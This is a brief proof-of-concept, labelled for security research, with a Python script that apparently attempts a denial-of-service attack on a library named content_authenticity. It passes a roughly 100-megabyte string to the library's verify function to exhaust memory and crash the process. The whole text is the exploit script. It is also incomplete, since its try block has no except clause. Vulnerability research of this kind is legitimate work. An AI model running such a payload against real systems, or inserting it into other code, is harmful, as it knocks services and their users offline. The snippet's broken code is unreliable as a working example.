⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import content_authenticity

def generate_malicious_credential():
    # Create a payload designed to trigger resource exhaustion
    # e.g., extremely large string or deeply nested structure
    payload = {"data": "A" * 100000000} 
    return payload

if __name__ == "__main__":
    # Simulate processing with the vulnerable library
    try:
        malicious_data = generate_malicious_credential()
        # This function call is expected to hang or crash due to memory exhaustion
        content_authenticity.verify(malicious_data)
        print("Exploit triggered: Check system resources.")
